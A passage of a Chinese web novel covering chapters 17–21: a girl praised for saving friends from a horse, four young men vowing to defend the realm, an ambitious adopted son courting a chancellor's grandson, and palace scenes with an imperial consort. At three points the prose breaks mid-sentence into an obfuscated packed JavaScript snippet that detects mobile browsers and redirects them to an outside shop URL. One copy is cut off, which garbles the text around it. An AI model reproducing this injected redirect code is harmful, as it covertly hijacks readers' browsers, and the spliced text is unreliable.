宋含章大大方方地听着,没有扭捏,也没有故作谦虚。她只是理所当然地说道:"子衿是我最好的朋友,我自然是要护着她的。换成她是我,她也会这样做的。老夫人不必谢我,我只是做了应该做的事。" 顾老夫人几人听了,都深深为之感动。这个被全京城叫做"大混世魔王"的孩子,这个被无数人嘲笑、排挤、指指点点的孩子,说出来的话却比许多成年人还要坦荡赤诚。 她们三个人坐在床边,这是第一次认真地、仔细地端详宋含章的模样——不是隔着远距离的匆匆一瞥,也不是在人群中带着先入为主的偏见去看。 她们发现,宋含章只是身体壮实,只是比寻常女孩胖了很多,但那眉眼五官生得极好——眉峰英气而舒展,鼻梁挺直,嘴唇饱满,一双眼睛又亮又黑,像两颗洗过的墨玉。皮肤光滑白嫩,透着一种瓷实的光泽。若是瘦下来,那容貌必定也是数一数二的,绝不输给她那个以美貌闻名京城的姐姐。 就在她们仔细端详的时候,顾大夫人的目光忽然停在了宋含章的右眼角下。 那是一颗黑痣,小小的一粒,宛如星子坠落在眼角,在白皙的皮肤上格外分明。 顾二夫人也看到了,两人对视了一眼,目光里同时闪过一丝惊讶——她们几乎是立刻就想起了顾承宇左眼角下那颗黑痣。 顾承宇那颗在左边,宋含章这颗在右边,两颗痣的形状、大小、位置一模一样,仿佛是一面镜子的两面,又仿佛是什么人在两个人的脸上各自点了一个对应的印记。 她们觉得好生奇怪——这世间怎么会有这么巧的事情? 18. 你持剑在前,我持笔在后 每一日,京城里都有大混世魔王和小混世魔王的传说。茶馆里的说书先生一拍惊堂木,便能把两位混世魔王的事迹讲得天花乱坠——从抓蛇吃蛇胆,到制作木鸢飞上天,再到两个人在水田里滚成泥人,一段比一段精彩,一段比一段离奇。 百姓们听得津津有味,有人拍案叫绝,有人连连摇头,有人把这些故事当成了教育自家孩子的反面教材,也有人暗暗佩服这两个女娃的胆量。 然而,宋含章与霍凌霜在农田打架一事还未翻篇,水田里那些重新栽下的秧苗才刚抽出新叶,霍凌霜设计陷害宋含章、宋含章为救顾家公子和顾家嫡女被马踩伤一事,又在京城传开了。 消息像长了翅膀,从青山书院飞到各府各邸,从深宅大院飞到街头巷尾,连城门口守城的卫兵都在换岗时低声议论着——听说那宋家二姑娘被马蹄踩得皮开肉绽,硬是没松开缰绳,救了顾家两条人命。一时间,宋含章从"大混世魔王"变成了百姓口中又敬又怜的人物,而霍凌霜设计害人的行径则让不少人在背后指指点点。 茶馆里,说书先生的惊堂木又是"啪"的一声响。那声音清脆而有力,震得茶客们精神一振,纷纷放下手中的茶盏和瓜子,竖起了耳朵。 他捋了捋胡须,清了清嗓子,又开始唾沫横飞地讲着京城人最关注的人——宋含章和霍凌霜。 他讲霍凌霜如何掰断树枝设下陷阱,讲宋含章如何一把推开顾子衿,讲马蹄如何踏在那个十岁女孩的背上,讲她如何在昏迷中还在念叨"老马有没有事"。 他讲得精妙绝伦,仿若自己亲自在场一般,说到惊险处声音陡然拔高,茶客们的心也跟着悬了起来;说到感人处又放低了声调,茶馆里便只剩下了他低沉而深情的叙述声。听的人是如痴如醉,有人红了眼眶,有人拊掌叫好,有人往说书先生的铜盘里多丢了几个铜板。 是日,书院休沐。春日的阳光透过窗棂洒进宋含章的房间,在地上铺了一层碎金,窗外鸟鸣婉转,一切都在召唤着人们出门。 可爬在床上养伤的宋含章却百无聊赖,她侧着脸枕在枕头上,看着那方被窗棂框住的蓝天,心里痒得像有无数只蚂蚁在爬。 对于一个平日里爬树、打架、做木工、一刻也闲不住的人来说,就这样趴着——只能趴着,不能翻身,不能下地,不能蹦跳——的确是一种折磨,比背上那道伤口还让人难熬。 春夏怕她闷出病来,给她找了各种玩意儿消遣,可宋含章翻了翻就觉得没意思,丢在了一边。 她让春夏从书架上拿一本炼丹的古籍给她。那本古籍是她从旧书摊上淘来的,封面已经残破,纸页泛黄发脆,里面记载了许多古代方士的炼丹秘术,其中也夹杂了不少关于火药的记载。 她翻过几页,打算好好琢磨制作火药需要的材料——她和霍凌霜还有一场比试,谁造不出火药谁就是王八。她可不想当王八,就算背上开了花,脑子也不能闲着。 春夏身体圆滚滚的,手脚却麻利得很。没一会儿,她便从书架上翻出了那本破旧的古籍,拍了拍上面的灰尘,小心翼翼地递到宋含章手里。 宋含章趴着翻了几页,眉头微微蹙起,眼神却越来越专注,手指在泛黄的书页上缓缓划过,逐行逐行地读着那些艰涩的古文。 她一边仔细翻阅,一边查找制作火药的原料——硝石、硫磺、木炭。她嘴里念念有词,时不时停下来想一想,然后让春夏执笔记下所需之物。 春夏趴在桌边,握着毛笔,一个字一个字地记,虽然她识字不多,写得歪歪扭扭,但每一笔都极为认真,遇到不会写的字就用圈代替,写完还要拿给宋含章确认一遍。 威震将军府里,阳光同样洒进了霍凌霜的房间。她趴在床上,后背的鞭痕还在隐隐作痛,可她的心思早已不在那些伤口上了。 她手里拿着几本从祖父书房里翻出来的兵书和火器图册,也在琢磨火药的制作方法。硝石、硫磺、木炭——这三样东西她曾在北疆的军器监里见过,还亲眼看过工匠们调配火药。 她咬着笔杆,在一张纸上画着比例图,嘴里念叨着"一硝二磺三木炭"的口诀。虽然后背还在疼,每动一下都牵动着伤口,可那股不服输的劲头让她停不下来。 她霍凌霜做错了事挨了鞭子,但比试还没结束——谁造不出火药谁就是王八,这话是她亲口说的,她绝不反悔。 城外的绿荫小道上,阳光透过新绿的树叶洒下来,在地上铺了一地碎金。四匹骏马从远处驰骋而来,蹄声如雷,惊起了路边林中的飞鸟。 顾承宇一马当先,身姿挺拔,策马的姿态带着一股从战场上带回来的凌厉果决。王修安紧随其后,他虽然是个教书先生,可骑术竟也不俗,腰背挺直如松,衣袂在风中猎猎作响。 宋行简居中,他不像前两人那般熟练,但也稳稳地握着缰绳,目光专注而坚定。 洪楚离落在最后,他的骑术最差,身子在马背上颠得摇摇晃晃,嘴里还在不停地嘟囔着"慢点慢点"。四人的马蹄翻飞,踏碎了满地春光,衣袍在风中飘扬,鲜衣怒马,踏尽城外的春色。 春风拂过他们的眉眼,温柔中带着草木初绽的清香。 绿色触碰他们的衣衫——路旁新抽的柳丝、田埂上冒出的青草、远山上一层层深浅不一的绿意——都在这春日的午后尽情地舒展着。 他们的眼里有光,那光是属于少年人的光芒,明亮而炽热,仿佛可以照亮世间一切的黑暗。笑容是那么张扬,笑声在风中飘得很远很远,马蹄声裹着笑语,洒在了一路的春光里。 就连路边田里弯腰忙碌的农人,听到这笑声也直起腰来,用手背擦了擦额头的汗,望着那四骑远去的背影,嘴角不禁浮起一抹笑意。 最后,四人策马来到城外最高的石鸣山巅。他们将马拴在山崖边的大松树下,任它们低头啃着岩缝里钻出的嫩草。四人立于山巅之上,山风猎猎,吹起了他们的衣袍与发带。 有人负手远眺,遥望着远方那绵延不绝的层层山峰,山峦在春日薄雾中若隐若现,青黛色的轮廓一直延伸到天边。 有人低头俯瞰,看着山脚下那宁静的村庄——炊烟袅袅升起,田垄阡陌纵横,隐约可见鸡犬相闻,像是世外桃源。 有人仰起头,仰望空中那轮被云层滤过的日光,阳光从云隙间漏下来,在山谷里投下一道道移动的光柱,壮美而神圣。 顾承宇面向西疆的方向,目光越过千山万水,仿佛看到了自己追逐敌军、黄沙满天的场景。他仿佛听到了战马的嘶鸣,闻到了边关风沙的气息,感受到了铠甲在烈日下滚烫的温度。 他的目光变得更加深邃,声音在山风中显得格外清晰而笃定:"如今宁国,有两大劲敌——西夷国和北狄国。西夷盘踞在西疆之外的广袤草原上,北狄虎视眈眈于北方的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618698|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪原与戈壁。 只要把这两个狼子野心的国家打败打垮,宁国将会有百年安宁。到那时,没有战火,没有边患,百姓不用流离失所,将士不用马革裹尸。家家户户安居乐业,年年五谷丰登,孩子们可以平安长大,老人们可以安度晚年——那该是多么幸福的日子。" 王修安听了,转头望着顾承宇。当他看到顾承宇那双闪亮的眸子时——那眸子里倒映着远方绵延的山峦,也倒映着一种他从前只在史书里读到过的赤诚——他心中忽然涌起了一股从未有过的波澜。 他读了二十一年的圣贤书,教了无数个清晨的课,可在这一刻,他才真正明白了什么叫"为天地立心,为生民立命"。他的声音不似往日那般温润平和,而是带上了一种少见的激昂:"如果敌国进犯宁国疆土,我等必会奔赴战场,诛杀敌人。你持剑在前,我持笔在后——即便不能杀敌,也要在阵前为将士们擂鼓助威,在战后为死难者立碑著传,用手中这支笔将他们的忠勇传于后世。" 宋行简顺着顾承宇的视线望向西方,声音温和却同样笃定——他的声音里没有顾承宇的锋芒,也没有王修安的激昂,却有一种细水长流的坚定:"我不懂兵法,不懂武艺,虽不能上战场厮杀,但也必定奋发蹈厉,在朝堂之上清除奸佞。 边疆有你们这样的将帅保家卫国,朝中也需要有人正本清源——肃清贪腐,任用贤能,让前方的将士没有后顾之忧。你们在边疆杀敌,我等文人在朝中清源正本,内外同心,必定会开创一片清明。那才是真正的太平盛世。" 洪楚离站在一旁,听着三位好友的豪言壮语,嘴唇动了动,却什么也没说出来。一直以来,他所求的不过是安于现在的富贵生活——有茶喝,有饭吃,有书翻两页,有马骑两圈,将来娶霍傲雪,生几个白白胖胖的孩子,这辈子也就这么舒舒服服地过完了。 他从未想过什么家国天下,从未把目光从京城的茶馆酒楼移向过边关的风沙雪原。可是此刻,站在山巅,身边的三位好友皆是心怀天下之人,他们的目光越过千山万水,望向了比自己的人生更远更远的地方。 他低头看着自己空空如也的双手——这双手没有握过剑,没有写过策论,甚至连书院的功课都做不周全。他忽然觉得,自己站在他们中间,矮了一大截。 他又想起了在北疆战场上阵杀敌的未婚妻子霍傲雪。听说她十五岁就跟着父亲夜袭敌营,亲手砍翻了好几个敌兵,在朔风大雪中从不叫一声苦。他以前总觉得,这样的女子太彪悍了,不好拿捏。 可现在他才意识到——不是她太彪悍,是自己太弱了。再想想文不成武不就的自己,当真是惭愧至极。他垂下眼帘,看着山脚下那些安宁的村庄和袅袅炊烟,在心里头一次问自己:洪楚离,你到底要成为一个什么样的人?你将来站在霍傲雪面前的时候,是让她觉得嫁了个废物,还是让她觉得嫁了个值得托付终身的男人? 山风又起,吹动着四人的衣袂。顾承宇依旧面向西方,王修安与宋行简并肩而立,洪楚离站在他们身后半步的位置,目光里的迷茫正在一点一点地被某种决心取代。 没有人再说话,可山巅的沉默并不空洞——那沉默里装着四个少年郎的山河之志,装着一个他们愿意用一生去守护的诺言。 春日午后的阳光从云层中倾泻而下,将他们年轻的身影投在山石上,像是四棵刚刚扎根的松树。 19. 能用的人,能攀的梯子 世间之人,有些性本善,那是刻在骨子里的良善,无论在怎样的环境中,都不会改变本心——贫贱不能移,富贵不能淫,威武不能屈。 而有些人,性本恶,带着无尽的贪婪,带着对功名利禄的渴求。 后者,即使在优良的环境中,即使有良师益友的谆谆教导,那本性中的阴暗也无法彻底改移,只会随着年纪的增长而慢慢显露,如同埋在地下的种子,在黑暗中悄悄发芽,直至最后破土而出,变得面目全非。 程国恩在宋家,名义上是养子,可宋四维和宋夫人待他如亲子——衣食住行与宋行简一般无二,读书习字也有宋四维亲自指点,逢年过节的新衣裳从不短他一件,生病时宋夫人也是彻夜守在床边。旁人都说,宋家对这个养子,比许多人家对亲生儿子还要好。 可他感恩之心不多,这些年来,他心底更多的是一种说不清道不明的别扭。他总觉得,宋四维和宋夫人对他的好,与其说是父母之爱,不如说是一种施舍——是居高临下的怜悯,是君子之风下的道德表演。 他寄人篱下,吃着宋家的饭,穿着宋家的衣,住着宋家的房,可他心里始终有一个声音在提醒他:你不是这个家的人,你不姓宋,你和宋行简不一样。 随着年纪的增长,他那种对功名利禄的渴求愈发热烈。他迫切地想要出人头地,想要证明自己不需要任何人的施舍也能站在高处。 可宋四维只是翰林学士,虽然清贵,虽然学富五车,虽然备受士林敬重,却触摸不到权力的中心——翰林院是清流之地,不是权柄所在。 宋四维能在诗书文章上给他最好的教导,能在修身养性上给他最正的引导,却给不了他想要的青云直上的梯子。 程国恩认为,宋四维对他的前途似乎作用不大。这话他从未说出口,可那念头已经在他心里生了根,像一株暗处生长的藤蔓,悄无声息地缠绕着他的五脏六腑。 尤其是在去了青山书院之后,他接触到了方丞相方雍的孙子方继志。 方继志腰间的环佩叮当作响,那玉质温润通透,一看便知是价值连城的羊脂白玉;身上的锦袍华丽无比,用的是江南最好的云锦,绣着繁复精致的暗纹;就连头上的帽子都镶着碧绿的玉石,帽正上那颗翡翠在阳光下绿得能滴出水来。 方继志走到哪里都前呼后拥,书院里的学子们见了他都要恭恭敬敬地叫一声"方公子"。再看看自己的一身——衣衫虽也不差,宋家从不曾在吃穿用度上亏待过他,可与方继志相比,那是十分不足。 不是衣料不好,是那衣料背后的东西不好——那是一个权倾朝野的丞相府与一个清贵翰林府之间的天壤之别。他在宋家是养子,在方继志面前,他只是一个清贫翰林的养子。 这种落差像一根刺,扎在他心口最柔软的地方。 为了能实现功名利禄的渴望,他念书十分刻苦勤奋。 那份刻苦,是旁人难以想象的——炎热之时,同窗们躺在凉席上摇着折扇昏昏欲睡,汗水顺着脸颊往下淌,连翻书页的力气都没有,他却在蒸笼般的书房里奋笔疾书,汗水滴在宣纸上洇开了墨迹,他擦一把脸又继续写。 寒冬之月,同窗们抱着汤婆子窝在厚厚的棉被里,连脚都不敢伸出被窝,他却伏在冰冷的书案前苦读至深夜,手指冻得通红皲裂,握笔的指节僵硬得像木头,他呵一口热气搓一搓手又继续抄写。 宋行简喊他早些歇息,他嘴上应着,手中的笔却从不停下。旁人都夸他用功,说宋家养了个好儿子,可没有人知道,他心里那股劲儿不是为了学问,是为了爬上去——爬到再也不用仰人鼻息的高度。 在青山书院里,他表面上与方继志保持着距离——见了面也只是寻常地点头致意,从不在众人面前多说一句话,仿佛两人不过是点头之交的同窗。 可是在私下,他与方继志来往甚密。方继志隔三差五便派人来接他去那处私宅,而他也从不推辞。 而方继志,似乎也是有意接近他——这位丞相府的公子,看中的是程国恩身上那股不甘人下的野心和那份刻苦到近乎自虐的勤奋。 方继志要的是能用的人,程国恩要的是能攀的梯子,两人各怀心思,却一拍即合。 这不,当顾承宇、宋行简他们出城骑马踏青,在山巅指点江山、畅谈家国天下的豪情壮志之时,程国恩则是在方继志那豪华的私人宅院里饮酒作乐。 他没有被邀请去骑马,或者说,他根本不想收到那个邀约。宋行简出门前问过他去不去,他说"不去",两个字,干脆利落,不带一丝犹豫。他告诉自己——他不需要和那些公子哥在春光里策马扬鞭,他有更重要的事。 这豪华的私人宅院,乃是典型的江南园林。亭台楼阁错落有致,假山池沼相映成趣,曲径通幽处种着成片的翠竹,风过时沙沙作响。 园林里的佳木香草皆是珍品——从南疆运来的紫檀在廊下散发着幽香,从东洋渡海而来的异卉在花圃里开得正盛。 廊下挂着鎏金的鸟笼,里面养着羽毛斑斓的异鸟,叫声婉转如同珠玉落盘。 博古架上的金玉器皿更是贵重之物——有翡翠雕成的白菜栩栩如生,有和田玉琢成的香炉薄如蝉翼,有纯金打造的瑞兽镇纸,每一件都价值连城,每一件都透着方家几代积累的权势和富贵。 席间,桌上满是珍馐——熊掌、鹿筋、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他讲起权势带来的美妙之味——那种一呼百应的畅快,那种让人俯首帖耳的快感,那种翻手为云覆手为雨的自在。 程国恩听着这些,只是沉默不语。他端起酒杯,浅呷一口,酒液辛辣而醇厚,顺着喉咙一路烧到胃里。 他沉默,不是不心动,而是他更沉得住气。他知道,一旦流露出渴望,筹码就是方继志的了。 所以他沉默,用沉默来掩饰心头的波澜,用沉默来维持最后一丝体面。 可他握着酒杯的手指关节微微泛白,暴露了他内心的暗涌——那是对权势的渴望,是对方继志所描述的那个世界的向往,是一颗在宋家温暖灯火下悄然变质的、年轻而危险的心。 20. 那明媚的笑,并未死去 皇宫的太医院里,药香氤氲,一排排药柜整齐地靠墙立着,上面密密麻麻地标注着各种药名——当归、黄芪、茯苓、甘草,每一味药都有自己专属的小抽屉。 阳光透过雕花窗棂洒进来,落在青砖地面上,也落在顾子衿手中那本泛黄的医书上。她正坐在林太医专门为她备下的一张小案前,认真地读着医书。 书页上密密麻麻的批注,有林太医的,也有她自己的——她用细细的朱笔在重点旁画了圈,又用墨笔一笔一划地写下了自己的理解。 她一边读,一边把没有看懂的地方誊抄下来,字迹工整而清秀,每一个字都写得一丝不苟,准备等林太医巡诊回来后向他请教。 那些问题有的关于经络穴位,有的关于药性配伍,有的甚至涉及外伤缝合和骨折正位,远远超出了一个十岁女孩该懂的范畴。 她一直有一个梦——学一身过硬的医术,然后去西疆的军中,为受伤的将士疗伤看病。这个梦,在她心里生了根。 她毕竟是宁安侯府的将门之后,祖母把一生都献给了西疆那一片热土。如今,父亲和叔叔都在西疆戍边,从小耳濡目染,那种家国情怀早就刻在了骨子里。 她曾随祖母去西疆探望过父亲和叔叔,亲眼见过边关将士的艰辛——见过他们在寒风里站岗时冻得开裂的手背,见过他们在战后被抬回营地时血肉模糊的伤口,见过他们缺医少药时咬着一块破布硬扛剧痛的表情。 那些画面像烙印一样刻在了她的记忆里,让她立下了这个志向。她虽不能像哥哥那样持剑上阵杀敌,但她可以握着银针和药方,在后方为将士们减轻痛苦,让他们有力气重新站起来。 一旁的林太医看着这个认真的小徒弟,倍感欣喜。他行医大半辈子,见过太医院里来来往往的学徒,大多是奉了家族之命来学些皮毛、混个资历的官家子弟,学不了几天就喊苦喊累。 可这个才十岁的女娃娃,却比任何人都用功——辨药性时过目不忘,学针灸时手法稳当,连最枯燥的《伤寒杂病论》都能一口气读上半个时辰不抬头。她还有一个远大的志向,不是为了博取虚名,而是为了去边关救人。这样的孩子,实在是少见。 他轻轻走到顾子衿身后,看了看她誊抄的问题,没有出声打扰,只是微微点头——这孩子,将来必成大器。 离太医院不远的翠微宫里,却是另一番截然不同的景象。 庭院里春光明媚,几株海棠开得正盛,粉白的花瓣在微风中轻轻飘落,洒在青石地面上,像是铺了一层碎花的地毯。 庭院里热闹不已——十岁的大皇子箫行健、八岁的二皇子箫子健、四岁的六公主箫幽兰以及七岁的三皇子箫云健正在与方惠妃玩老鹰捉小鸡的游戏。 箫行健个子最高,跑起来虎虎生风;箫子健身形灵活,总能在被抓住的前一刻闪开;箫云健年纪最小,跑起来有些踉跄,却笑得最响;箫幽兰才四岁,扎着两个小揪揪,脸蛋红扑扑的,笑得露出几颗豁牙。 温柔似水、气质如兰的方惠妃扮演母鸡,张开双臂护着身后的三位皇子。她的裙摆随着步伐轻轻摆动,平日里端庄娴静的面容此刻满是灿烂的笑意,额角渗出了细密的汗珠也顾不上擦。 箫幽兰是老鹰,正张牙舞爪地奋力去抓躲在母鸡身后的三个哥哥。她的小短腿跑起来一颠一颠的,嘴里还发出咯咯的笑声,每一次扑空都要跺一下脚,然后又斗志昂扬地继续扑上来。 几人的笑声响彻云霄,惊起了翠微宫屋檐上的几只灰雀,扑棱棱地飞向了蓝天。 翠微宫的小厨房里,顾贵妃正亲自下厨,忙碌地准备着膳食。灶台上的砂锅里煨着鸡汤,咕嘟咕嘟地冒着热气,香气弥漫了整个小厨房。她挽起袖口,露出一截白净的手臂,一手执着锅铲,一手扶着铁锅,动作娴熟地翻炒着菜肴,神情专注而安然。 贴身宫女翠屏拖着一条瘸腿在一旁帮忙,递盐、切菜、看火候,主仆二人配合得默契十足。 每每做好一个菜,顾贵妃都会拿起筷子夹一块,先让翠屏尝尝。翠屏尝得心满意足,眯着眼睛连连点头,她便也跟着笑。主仆之间没有繁文缛节,倒像是寻常人家的姐妹。 顾贵妃是顾老夫人唯一的女儿,名为顾婉清。她进宫已整整十一年了。十一年前,她还是那个在西疆策马扬鞭的明媚少女,笑起来像是一团火。 如今她已二十七岁,生了三个孩子——大皇子箫行健十岁,二皇子箫子健八岁,六公主箫幽兰四岁——可她的身形还和少女时一样,几乎没怎么变过。那一张脸,依然是美的,眉如远山,目若秋水,只是那份美里,早已没有了刚进宫时的张扬与明艳,变得安安静静的,总是垂着眉眼,一副与世无争的姿态,像是一朵曾经在枝头盛放的花,悄无声息地收拢了花瓣。 她本是不愿进宫的。顾家也没有让她进宫的想法——宁安侯府靠的是军功,从不靠裙带关系,更不曾有过让她与达官贵人联姻来巩固顾家荣华富贵的打算。 她从小就跟着父兄在西疆长大,喝的是风沙,骑的是烈马,向往的是边关的辽阔与自由。只是因为十六岁那年从西疆回京,正赶上京城贵女的赛马会,她一时技痒便报了名。那一日,她一身绯色骑装,策马扬鞭,长发在风中飞扬,脸上那明媚的笑容毫无遮拦地绽放着,如同一团火,把看台上的皇帝箫衡点燃了。 原本,贵女的赛马会是专属于京中贵女的盛会,是不许男子参与的。她至今都不知道皇帝箫衡为何会出现在那场赛马会上——是微服私访,还是一时兴起,抑或是冥冥中注定的劫数。 她只知道,那一年,她毫无防备地闯入了一个人的视线,然后便被一道圣旨带进了这座深宫。 一入宫门深似海,纵使有皇帝的宠爱,这宫墙之内的日子也并非外人想象的那般风光。其中的心酸,唯有自己知道;其中的悲喜,唯有自己来渡。她从不在人前诉苦,也不在后宫争宠,只是安安静静地打理六宫事务,关起门来过自己的日子。 皇后早逝,皇帝箫衡便把打理六宫之权交给了她。她也是尽心尽力,把六宫打理得井井有条——各宫的份例从不短缺,嫔妃之间的纠纷也被她温言化解,连最挑剔的太后都对她赞不绝口。 她让皇帝的后院安宁稳定,让他不必为后宫之事分心。可这份尽心尽力,与其说是对权力的看重,不如说是对责任的担当。她只是想把分内的事做好,仅此而已。 方惠妃乃是权臣方雍最小的女儿。方雍和儿子方鹏举皆是野心勃勃、心狠手辣之人,朝堂上栽在他们手里的大臣不计其数。 可方惠妃却心性纯良,与父亲和哥哥的狠毒是两种极端。她本也是不想进宫的,可身为世家女子,哪里有选择的权力——父亲说她必须进宫,她便进了宫,连拒绝的念头都不被允许有。 她生下了三皇子箫云健,便守着儿子安安静静地过日子,从不参与任何宫斗算计,也从不向父亲传递任何后宫的消息。这可把方雍气得半死。 因为三皇子箫云健最喜欢和二皇子箫子健一起玩耍,两个孩子年纪相仿,凑到一起便分不开,便时常央求母妃带着他来翠微宫里玩。 方惠妃是非常愿意的——在这个深宫里,嫔妃之间明争暗斗、尔虞我诈,每一句话都可能藏着机锋,每一个笑容都可能藏着刀子。 唯有顾贵妃的心是干净的,她的翠微宫是唯一一处不需要戴着面具踏入的地方,与自己的心一样。所以她愿意来,愿意让自己的儿子和顾贵妃的儿子一起长大,愿意在这片小小的净土里,偷得片刻的安宁。 而喜欢清静、习惯关门过自己日子的顾贵妃,真心不喜欢他人的打扰。 可是,这个世间,不是你不喜欢就没有事扰。来人都是客,又是带着孩子来的,她自然要热情招待,摆出笑脸,端出点心,陪着在庭院里玩耍。 大皇子箫行健、二皇子箫子健、六公主箫幽兰皆是她所生。三皇子箫云健乃是方惠妃所生。方惠妃也只有箫云健这么一个孩子——当年生他时难产,差点母子俱亡,此后便再无所出。所以她把这个儿子看得比自己的命还重,走到哪里都带着他。 庭院一旁的窗棂上,放着一盆四季花。这盆花养了好些年了,每次只开两朵——不多不少,就是两朵,像是有谁给它定下了规矩一般。那花开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618700|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得鲜艳如血,红得夺目,红得秾丽,红得让人移不开眼睛。在这满院春色里,它是最艳丽的一笔,也是最孤独的一笔。 她的小厨房正对着那一盆四季花。她一边做菜,一边不时地抬头看看那红得泣血的四季花。那眼神,慈爱无比,带着一位母亲无尽的温柔,犹如一位母亲看着自己怀里的幼儿——温柔得像水,深沉得像夜,柔软得像春日里第一缕风。那目光落在花瓣上,仿佛不是在看着一盆花,而是在看着远方的某个人、某段回忆。 一旁的翠屏见了,一阵心酸涌上心头。她低下头,假装去拨弄灶膛里的火,不让主子看见自己泛红的眼眶。这翠微宫里,只有她明白,顾贵妃的眼神为何会那么慈爱无比,带着一个母亲无尽的温柔。 顾贵妃看着灶台上的菜肴差不多了,便转头看着翠屏,用围裙擦了擦手,温声吩咐道:"你去把子衿那丫头叫来。她在太医院跟林太医学了半日的医术,也该歇一歇了。让她过来一起用膳。" 翠屏应了一声,解下围裙,瘸着腿快步离开了翠微宫,朝太医院而去。她那微微跛行的身影穿过长长的宫道,阳光落在她身上,影子拖在身后,一摇一晃的。 顾贵妃也走出小厨房,来到庭院中。孩子们玩得正欢,方惠妃已经累得直喘气。她笑着走过去,自然而然地加入到游戏里来。 这一次,她扮母鸡,张开双臂护着身后的一群孩子;方惠妃扮老鹰,张牙舞爪地来抓。两人对视一眼,都笑了——那是从心底里溢出来的笑容,没有半分遮掩,没有一丝保留。 顾贵妃的笑容明媚而张扬,那种爽朗的、前仰后合的笑,与孩子们的笑声交织在一起,震得满院的春色都跟着颤动起来,响彻云霄。 在御书房批完奏折的皇帝箫衡,站起身走到窗户边。他负手而立,望着正值花期的棵苦楝树。紫色的花缀满天空,香气氤氲。他眼角的细纹在光影里显得格外深邃。 殿内安静得很,只有铜漏滴答滴答的水声。他沉默良久,轻轻叹了一口气,那叹息声很轻,轻得只有他自己能听见。然后他转过身,吩咐摆驾阆苑宫。 可是方惠妃不在阆苑宫里。宫女恭敬地禀报说方惠妃带着三皇子去了翠微宫,他闻言微微一顿,随即调转脚步,摆驾翠微宫。 从小伺候他的太监德顺弯着腰跟在他身后,看着陛下调转方向前往翠微宫,心里啊,真是高兴不已,老迈的脚步都比平时轻快了几分——他已经记不清陛下上一次去翠微宫是什么时候了。 箫衡刚来到翠微宫门口,还没踏进宫门,便听见了宫里传出来的欢声笑语。那笑声清脆而嘹亮,从宫墙内飘出来,像一阵穿堂的风,吹进了他心里某个尘封已久的角落。 他站住了,嘴角不自觉地微微一翘——那是一种连他自己都没有察觉的、极其轻柔的笑意。他抬手示意德顺和一众随从止步,让他们在宫门外等候,自己独自一人踏进了翠微宫。跨过门槛时,他放轻了脚步,像是怕惊碎了什么。 一进门,他便看到了那一幕——顾贵妃正扮着母鸡,张开双臂护着身后的孩子们,方惠妃扮着老鹰正追着她跑。 而她在逃窜中笑弯了腰,那笑容明媚张扬,那种前仰后合的笑,那种毫无顾忌的笑,那种仿佛十六岁那年赛马场上纵马飞驰的笑——那笑容,他已有整整六年没有听到了。他以为自己再也听不见了,以为那种笑容已经随着岁月消失殆尽,死在了这座深不见底的宫墙里。 可时隔六年,它又突然出现了——像一道闪电,像一束光,像一支穿云而来的箭,猝不及防地撞进了他的胸口。 他站在廊柱后面,没有出声,只是静静地看着。顾贵妃的笑声还在继续,她笑得眼泪都出来了,她扶着膝盖喘着气,孩子们围着她又蹦又跳。阳光落在她身上,把她整个人都镀上了一层金色。 他忽然明白了——原来那笑容不是消失了,而是被藏起来了。藏在了这翠微宫的深院里,藏在了那一扇扇关起的门后。她依然会笑,依然会前仰后合地笑,只是那笑容,不再示给自己。 他站在廊柱后,忽然觉得,这个春日午后的阳光,既温暖,又刺眼。 21. 一抬头就能看到,就不觉孤寂了 正玩得欢的箫幽兰最先看见了父皇。她那双亮晶晶的眼睛一下子瞪得溜圆,小脸上绽开了一个大大的笑容,张开两只小短胳膊便欢天喜地地朝着皇帝跑去,两条小腿跑得飞快,嘴里脆生生地喊着“父皇父皇——”,那声音又甜又亮,像一只扑向花丛的小蝴蝶。 箫云健也看到了父皇,紧跟着从顾贵妃的身后跑出来,迈着两条小短腿追在箫幽兰身后,欢天喜地地朝着皇帝跑去,嘴里也叫着“父皇父皇——”,跑得急了有些踉跄,却一点也不肯减速。 顾贵妃、方惠妃、箫行健、箫子健等人顺着两个孩子跑去的方向望去,这才发现皇帝正站在廊柱后面。 那根朱红色的廊柱半遮着他的身影,只露出半边龙袍的衣角,也不知他在那里站了多久,看了多久。 顾贵妃脸上的笑容在一瞬间收敛了,如同一朵盛放的花突然收拢了花瓣。 她站直了身子,理了理衣襟,垂下了眉眼,变得恭恭顺顺、安安静静——不再是方才那个笑得前仰后合的母鸡,而是深宫里一个分寸得宜的贵妃。 箫行健和箫子健也立刻停止了嬉闹,恭恭敬敬地站到了母妃身旁,父子之间的距离在这一刻被礼仪清晰地划了出来。 方惠妃则截然不同。她脸上挂着那温柔似水的笑容,不紧不慢地追在箫云健身后,嘴里柔声说着“慢一些,慢一些,别摔着了”,那声音软得像春风拂过水面。 